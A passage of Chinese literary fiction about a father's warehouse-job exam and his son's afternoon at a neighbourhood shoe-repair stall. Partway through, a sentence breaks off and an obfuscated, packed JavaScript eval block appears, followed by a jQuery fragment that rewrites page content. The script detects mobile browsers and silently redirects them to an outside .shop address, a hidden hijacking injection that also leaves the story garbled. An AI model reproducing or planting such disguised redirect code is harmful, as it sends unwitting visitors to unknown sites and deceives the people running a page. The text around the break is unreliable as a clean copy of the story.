孙志远的笔试是在六月第三个星期六。
他早上五点半就起来了。孙小六听见他爸在客厅里走动的声音——先是阳台门被拉开，他在绿萝前面蹲了一会儿，然后是卫生间的水声，然后是他妈在厨房里开火的声音。孙小六躺在床上听着这些声音。它们跟平时一样，又不一样。水声比平时短，切菜声比平时快，连绿萝藤蔓被碰到的簌簌声都比平时轻，好像这个早晨的每一件事都被调快了一拍，又被压低了音量。
他起来的时候，孙志远已经换好了衣服。不是工作服，是一件白色的短袖衬衫，李婉昨晚熨过的，领口和袖口的褶线笔直。衬衫是搬家时从星河湾带出来的，在箱子里压了大半年，后背有一道横着的折痕，熨了两遍也没完全熨平。他把衬衫扎进裤腰里，皮带系到最里面那个孔——他瘦了，原来的孔太松，李婉用锥子给他新扎了一个。新扎的孔边缘毛毛的，皮带扣穿过去的时候会卡一下。
早饭是昨天剩的馒头和一碗白粥。馒头热过了，表面微微发皱。孙志远把馒头掰开，一点一点地撕着吃，撕得很慢。白粥喝了两口就放下了，站起来去阳台上看绿萝。回来又端起碗喝了一口。碗沿上印着一道浅浅的茶渍，是长年累月喝茶留下的，李婉用钢丝球擦过很多次，擦不掉，像长在瓷里的。
“走吧。”他把碗放下。
李婉站在厨房门口，手里还拿着锅铲。锅铲上沾着粥，她用围裙角擦了擦，擦完又擦。围裙角已经湿了一块。“路上小心。”她说。孙志远点了点头，拉开门。门关上的时候，门框震了一下，墙上的日历晃了晃，没掉下来。日历是超市送的，印着红红绿绿的促销日期，六月那一页上，第三个星期六被李婉用红笔画了一个圈。圈画得很圆，像是用瓶盖比着画的。
孙小六跟到门口。走廊里，他爸的背影在声控灯下晃了一下——右肩比左肩低一点，走路的时候身体微微往右偏。他以前没注意过这个。他爸走路的样子，原来和老周一样。
他没有回房间，站在门口看着走廊尽头的楼梯。声控灯灭了，他跺了一下脚，灯又亮了。楼梯空空的。他爸已经走下去了。他把门关上。门框上的日历又晃了一下。红圈圈着的那个日子，在他眼前停了一瞬，然后安静下来。
那天上午修鞋摊没什么人。蒋师傅在缝一双凉鞋的鞋带，老太太坐在小马扎上剥蒜。她现在剥蒜不再是为了菜市场了，就是剥着。剥好的蒜瓣放在一个搪瓷碗里，攒满了就让陈浩拿回家。陈浩说她现在剥蒜跟喝茶一样，坐下来就剥，剥完了就坐在那儿。蒜在她手里转着，紫皮一圈一圈地落，白白的蒜瓣落进碗里，咚一声。
“小六，你爸今天考试？”老太太问。
“嗯。笔试。”
她把一颗剥好的蒜放进碗里。蒜瓣在碗底滚了半圈，停住了。“浩浩他爷爷当年也考过试。考搬运工的转正考试。他回来跟我说，手抖，名字写了三遍才写对。我说名字写对了就行。他说，对，写对了就行。”她的手没有停，又拿起一颗。“后来他考上了。”
孙小六蹲下来，从她手边的蒜堆里拿起一颗。他剥蒜已经熟练了，拇指一捻，整片蒜皮就脱下来。蒜瓣光溜溜的，不再有指甲印。他把剥好的蒜放进老太太的搪瓷碗里，挨着她剥的那些。
蒋师傅把凉鞋的鞋带缝好了。他把鞋举起来对着光看了看——鞋带是红色的，缝在白色的鞋底上，针脚均匀，像一行写在五线谱上的音符。他把鞋放在铁皮箱子上，鞋头朝外。“你爸考的是仓库副主管。”他说。不是问句。
孙小六点了点头。
“仓库的活，我干过。”蒋师傅拿起搪瓷杯。茶是热的，他吹了吹杯口的茶叶末子。“六几年的时候，我在生产资料仓库待过两年。不是正式工，是临时叫去的。那时候什么都缺，鞋也缺。仓库里堆着成捆的解放鞋，用草绳穿着，一捆二十双。我的活就是数鞋。每天数，来一车数一遍，走一车数一遍。数了两年，一双没少过。”他喝了一口茶。“后来仓库主任问我，想不想转正。我说不了，我要回去修鞋。他问我为什么。我说，数鞋数不出穿鞋的人。”
他把搪瓷杯放下。“你爸比我强。他不数鞋，他管着数鞋的人。”
下午三点多，巷子里的槐树影子拉长了。孙小六坐在塑料桶上缝一只运动鞋的鞋底，缝到转弯的地方，针脚密了，他拆了重新缝。拆线的时候，线从针眼里抽出来，发出细微的、皮子和线摩擦的声音。
陈浩骑着三轮车从巷子口拐进来。车把上的铃铛响了一声。车斗里坐着老太太，膝盖上放着那个搪瓷碗，碗里的蒜瓣攒了大半碗了。她下午犯困，陈浩就把她推回去睡了一觉，现在又推回来了。
三轮车停在修鞋摊旁边。陈浩把老太太扶下来，她坐回小马扎上，把搪瓷碗放在铁皮箱子上，挨着蒋师傅修好的那双凉鞋。蒜瓣在碗里被下午的光照得亮晶晶的。
林宇也来了。背着一个军绿色书包，书包带断过一次，用订书机订上了，订书钉生了一层薄锈。他从书包里掏出一个铝饭盒，打开，里面是切好的西瓜。西瓜切成小块，皮去掉了，红瓤上嵌着黑籽。他妈切的，每一块都差不多大小。
“我妈说，今天热，吃西瓜。”他把饭盒放在铁皮箱子上。
几个人围着铁皮箱子吃西瓜。西瓜是沙瓤的，咬下去汁水溅出来，顺着下巴往下淌。老太太用袖子擦，擦完继续吃。她把籽吐在手心里，攒了一小把，放在搪瓷碗旁边。西瓜籽黑亮亮的，像一把小小的、椭圆的珠子。
孙小六吃了一块，没吃第二块。他把瓜皮放在饭盒盖子上。瓜皮上沾着一点红瓤，蚂蚁很快就来了。一只，两只，然后是一队。沿着铁皮箱子的腿爬上来，绕过搪瓷杯，绕过蒜瓣碗，绕过西瓜籽，找到那块瓜皮。蚂蚁爬得很慢，每一只都驮着比自己大得多的东西。有一只驮着一粒西瓜籽的碎片，爬两步停一停，触角晃一晃，继续爬。
他看着那只蚂蚁，直到它爬下铁皮箱子，消失在墙根底下。
傍晚，巷子里的光变成了橘红色。孙志远回来了。
他没有走巷子口那棵槐树底下，是从另一头拐进来的。孙小六先看见他的影子——投在巷子地面上，被夕阳拉得很长，右肩低一点。然后是他整个人。白色短袖衬衫的后背湿了一块，汗渍洇成一个不规则的圆。领口解开了第一颗扣子，袖口的扣子也解开了，往上挽了两圈。挽得不整齐，一圈宽一圈窄。
他走到修鞋摊前面，站住了。
蒋师傅正在收摊。遮阳伞收了一半，看见孙志远，手停住了。他没有说话，把伞重新撑开，往旁边挪了挪，让出一块阴凉。炭炉上的茶壶咕嘟咕嘟冒着热气。
孙志远在塑料桶上坐下来。塑料桶是孙小六平时坐的那个，桶沿上垫着一块泡沫板。他坐下去的时候，泡沫板往下陷了一点，发出细微的、泡沫被压缩的声音。他没有说话，把手放在膝盖上。手背上有圆珠笔的墨迹，是考试的时候蹭上的，蓝黑色的，在指关节的褶皱里积成细细的线。
老太太把搪瓷碗里的蒜瓣往他那边推了推。不是给他吃，就是推了推。像在他面前放了一样东西。
蒋师傅把茶壶拎下来，往搪瓷杯里倒了半杯茶。茶是新的，茶叶放得比平时多，水冲下去的时候，茶叶在杯底翻上来，又沉下去。他把搪瓷杯放在孙志远面前。
孙志远看着那杯茶。茶水面上的茶叶末子慢慢沉到底。他没有喝。
“笔考过了。”他说。声音哑哑的。
蒋师傅点了点头，把炭炉里的灰拨了拨。炭火暗了一瞬，然后重新亮起来，比刚才更亮。“还有面试。”
“下周三。”
蒋师傅把火钳放下。“你考得上。”
孙志远把搪瓷杯端起来，喝了一口。茶很烫，他咽下去的时候喉结滚动了一下。他把杯子放下。“面试考实操。仓库里码着货，现场出题。入库怎么码，出库怎么取，盘点怎么盘。我笔记本上都有。”
他从口袋里摸出那本软抄本。封面上的卡通熊被汗洇湿了，熊的脸皱成一团。他翻开，翻到那张仓库平面图。蓝色的是进货通道，红色的是出货通道，绿色的是消防通道。绿色通道尽头那个红色的小方框里，“备用”两个字被汗洇湿了，墨迹晕开，像一小片蓝色的云。
他把笔记本合上，放回口袋里。
老太太把西瓜籽从铁皮箱子上收起来，用一张糖纸包好。糖纸是红色的，菠萝味的。她包得很仔细，边角折得齐齐整整。“浩浩他爷爷考实操的时候，回来跟我说，他把一箱货码歪了。歪了一寸。考官量出来了，扣了分。他说，明明码的时候看着是正的，怎么量出来是歪的。”她把包好的西瓜籽放进口袋里。“后来他想了很久，想明白了。不是货码歪了，是他站歪了。他站的位置，看过去是正的。换一个位置看，就是歪的。”
她的手放在搪瓷碗上。“你码货的时候，别光站在一个地方看。走一圈，从进货口看看，从出货口看看，从后门看看。每个位置都看一遍。都正了，才是真的正。”
孙志远看着她。看了好一会儿。然后他把搪瓷杯端起来，又喝了一口。这一次他没有咽下去，含着那口茶，含了很久才咽。
天黑下来了。蒋师傅把灯打开，LED灯的白光和炭炉的暖光撞在一起。孙志远站起来，把衬衫袖子放下来，扣上袖口的扣子。扣到右手那只的时候，扣子脱线了，在手指上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510466|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晃了一下，没掉。他把扣子按回去，按了两下，按不紧。
李婉不知道什么时候站在了巷子口。她穿着超市的工作服，后背上印着“某某超市，您身边的好邻居”。工作服上沾着菜叶的碎末——她刚下班，没来得及换。她站在那里，没有走过来。夕阳的最后一点光落在她身上，把蓝色的工作服照成了一种淡淡的紫。
孙志远看见她，走了过去。两个人站在槐树底下。槐树的叶子在他们头顶密密层层的，把天遮住了大半。他们面对面站着。孙志远说了句什么，李婉低下头，用手背抹了一下眼睛。不是哭，是汗。她从口袋里掏出一包纸巾，抽了一张，擦擦额头，然后把纸巾叠好放回去。她抬起头，看着孙志远，嘴角往上弯了一下。
他们并排往回走。走到楼门口的时候，李婉的手碰到了孙志远的手。没有握，就是碰了一下。然后两个人的手分开了，各走各的。孙志远拉开门，让她先进去。她进去了。他跟进去。门在他们身后关上了。
修鞋摊这边，蒋师傅把遮阳伞收拢。炭炉搬进门洞里，茶壶里的水倒掉。搪瓷杯用袖子擦了擦，放回铁皮箱子盖上。老太太把搪瓷碗里的蒜瓣倒进塑料袋，系好，放在小马扎旁边。陈浩把三轮车推过来，扶她上去。铃铛响了一声，三轮车沿着巷子慢慢远了。
孙小六帮着把工具收进铁皮箱子里。锤子，锥子，针，线，胶水，皮子，鞋底。蒋师傅把相框放在最上面，盖上盖子。盖子盖上之前，孙小六看了一眼相框里的年轻女人和年轻男人。他们在槐树底下笑着。槐树很细，枝丫上挂着几片叶子。
“蒋师傅。”
“嗯。”
“你当年为什么不留在仓库。”
蒋师傅把铁皮箱子锁上。锁是那种老式的铜锁，锁梁上锈了一道绿色的铜锈。他把钥匙穿进裤腰上的钥匙扣里，钥匙扣是牛皮做的，磨得发亮。
“仓库里数鞋，数不出穿鞋的人。我修鞋修了四十多年，修的每一双鞋都有人穿。磨穿的位置告诉我他怎么走路，磨破的位置告诉我他干什么活，鞋底磨偏的方向告诉我他心里急不急。”他把铜锁按了一下，咔嗒一声。“你爸比我明白得早。他不数鞋，他管数鞋的人。管人比数鞋难。鞋是死的，人是活的。活的东西会自己走，走着走着就走歪了。把他叫回来，重新走。”
他把钥匙扣塞进裤腰里。“你爸在仓库平面图上画的那棵槐树，不是为了好看。他是想让那些数鞋的人，累了的时候有个地方坐。坐在那儿，看看后门外面。后门外面没有槐树，但他画了一棵。画在那儿，就是种在那儿了。”
孙小六沿着巷子往回走。走到槐树底下的时候，他抬起头。槐树的叶子密密层层的，把路灯的光切成碎片。树干上，陈浩刻的那行字还在，被树皮又包住了一点，“路”字的一捺只剩下半截了。他把手放在树干上，摸到那行字的位置。刻痕已经很浅了，不仔细摸几乎感觉不到。但他知道它在。
他把手收回来。火柴盒在口袋里，被体温捂热了。他攥着它，往家走。
回到家，茶几上摆着晚饭。李婉下了面条，西红柿鸡蛋卤。面条是手擀的，切得宽一条窄一条。卤子盛在一个大碗里，西红柿炖得化开了，鸡蛋花浮在上面。孙志远坐在茶几旁边，面前那碗面条已经吃了一半。他吃得很慢，挑起一根面条，吹一吹，塞进嘴里。嚼几口，再挑起一根。
李婉坐在他对面，手里拿着针线。她在缝孙志远衬衫上那颗快掉的扣子。针穿过扣眼，线拉紧，绕两圈，再穿回去。她缝扣子的手法跟蒋师傅缝鞋底不一样——蒋师傅的针脚是斜的，她的是十字交叉。两针交叉，扣子就钉死了。她把线头剪断，用手拉了拉扣子，拉不动。缝好了。
她把衬衫叠好，放在沙发扶手上。
孙小六端着碗坐下来。面条有点坨了，他倒了点面汤进去，用筷子搅开。西红柿鸡蛋卤浇上去，红红黄黄的，在面条上堆成一座小山。他拌开了，挑起一筷子。面条宽的地方厚，窄的地方薄，嚼起来口感不一样。厚的劲道，薄的软滑。他嚼着，把碗里的面条吃完了。
他把碗放下，走进房间。
枕头底下，火柴盒安安静静地待着。他没有打开。只是把手伸进去，摸到铁皮的轮廓。火柴盒边缘被磨得发亮，四个角圆了，铁皮上那个红色的商标图案已经彻底看不清了，只剩一团模糊的红色，像一朵开在铁皮上的、褪了色的花。
他把手收回来，放在被子外面。窗外，六月的风把槐树叶子吹得沙沙响。那种声音不像四月的槐花落在伞面上那么轻，也不像五月的残花被踩进泥里那么闷。就是叶子碰叶子的声音。一片碰另一片，另一片碰再一片。整棵树都在响。